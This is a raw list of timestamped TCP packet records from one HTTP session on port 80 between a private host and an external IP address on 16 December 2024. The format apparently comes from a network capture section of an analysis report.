Dec 16, 2024 21:02:45.757042885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.757113934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.757414103 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.758044958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.758183956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.758205891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.758287907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.758974075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.759066105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.899204969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.899229050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.899301052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.899301052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.899555922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.899619102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.899719954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.899766922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.900526047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.900599957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.900773048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.900878906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.901639938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.901748896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.901776075 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.901880026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.902609110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.902774096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.902823925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.902988911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.903471947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.903593063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.903625011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.903661966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.904386997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.904439926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.904468060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.904606104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.905395985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.905483007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.905512094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.905635118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.906378031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.906436920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.906517982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.907283068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.907402992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.907419920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.907504082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.907504082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.908359051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.908454895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.908463955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.908584118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.909351110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.909440041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.909466028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.909499884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.910382032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.910449982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.910456896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.910514116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.911348104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.911429882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.911508083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.911761999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.912319899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.912401915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.912498951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.913394928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.913501024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.913640976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.914287090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.914515972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.914611101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.915379047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.915455103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.915484905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.915745020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.916348934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.916479111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.916575909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.917263031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.917366028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.917496920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.918253899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.918385029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.918423891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.918461084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.919275045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.919317007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.919358969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.919398069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.920264006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.920335054 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.920367002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.920413017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.921412945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.921485901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.921549082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.921720982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.922199011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.922301054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.922343016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.922388077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.923228025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.923249960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.923327923 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.924221039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.924299955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.924328089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.924475908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.925194025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.925400972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.925435066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.925543070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.926186085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.926362038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.926390886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.926618099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.927172899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.927258015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.927288055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.928193092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.928232908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.928267002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.929178953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.929205894 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.929291010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.929364920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.930022001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.930145979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.930274010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.930301905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.930362940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.931272984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.931377888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.931474924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.931474924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.932311058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.932430029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.932467937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.932499886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.933110952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.933180094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.933187008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.933257103 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.934092045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.934277058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.934583902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.935175896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.935286045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.935317993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.936069965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.936240911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.936292887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.936398983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.937076092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.937130928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.937172890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.937395096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.938052893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.938179970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.938322067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.939131021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.939199924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.939235926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.940035105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.940064907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.940105915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.940660000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.941050053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.941113949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.941147089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.941512108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.942154884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.942177057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.942209959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.942234993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.943022013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.943191051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.943222046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.944008112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.944020033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.944060087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.944065094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.944170952 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.945087910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.945158005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.945200920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.945970058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.946089029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.946118116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.946970940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.947160006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.947192907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.947858095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.947916985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.947993040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.948026896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.948087931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.948941946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.948993921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.949048996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.949949980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.949980974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.950056076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.950170994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.950916052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.951138973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.091336012 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.091438055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.091442108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.091525078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.091825962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.091932058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.091955900 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.092036009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.092327118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.093172073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.093245983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.093318939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.093365908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.093983889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.094074011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.094088078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.094173908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.094930887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.094997883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.095074892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.095181942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.095905066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.096014023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.096179008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.096230030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.096899986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.096955061 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.096982956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.097084045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.097841024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.097955942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.097985029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.098022938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.098855019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.098893881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.098929882 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.098953009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.099805117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.099911928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.099941969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.099994898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.100769043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.100860119 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.100980043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.101778030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.101861954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.101970911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.102034092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.102792978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.102937937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.102963924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.103049040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.103776932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.103835106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.103954077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.104686022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.104753017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.104938984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.104976892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.105025053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.105828047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.105890989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.105914116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.106004953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.106695890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.106762886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.106787920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.107495070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.107681036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.107739925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.107810020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.107952118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.108722925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.108783007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.108794928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.108861923 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.109719038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.109850883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.109889984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.109941959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.110723019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.110845089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.110846996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.110913038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.111747026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.111885071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.111885071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.111937046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.112682104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.112742901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.112746000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.112865925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.113715887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.113837957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.113923073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.114748001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.114794016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.115041018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.115760088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.115844011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.115875959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.116031885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.116671085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.116730928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.116786957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.116951942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.117767096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.117877960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.117880106 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.118243933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.118719101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.118809938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.118971109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.119586945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.119635105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.119658947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.119920015 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.120655060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.120788097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.120867014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.121519089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.121671915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.121718884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.121788025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.122016907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.122551918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.122653961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.122741938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.123565912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.123663902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.123713017 CET	80	49842	31.41.244.11	192.168.2.4
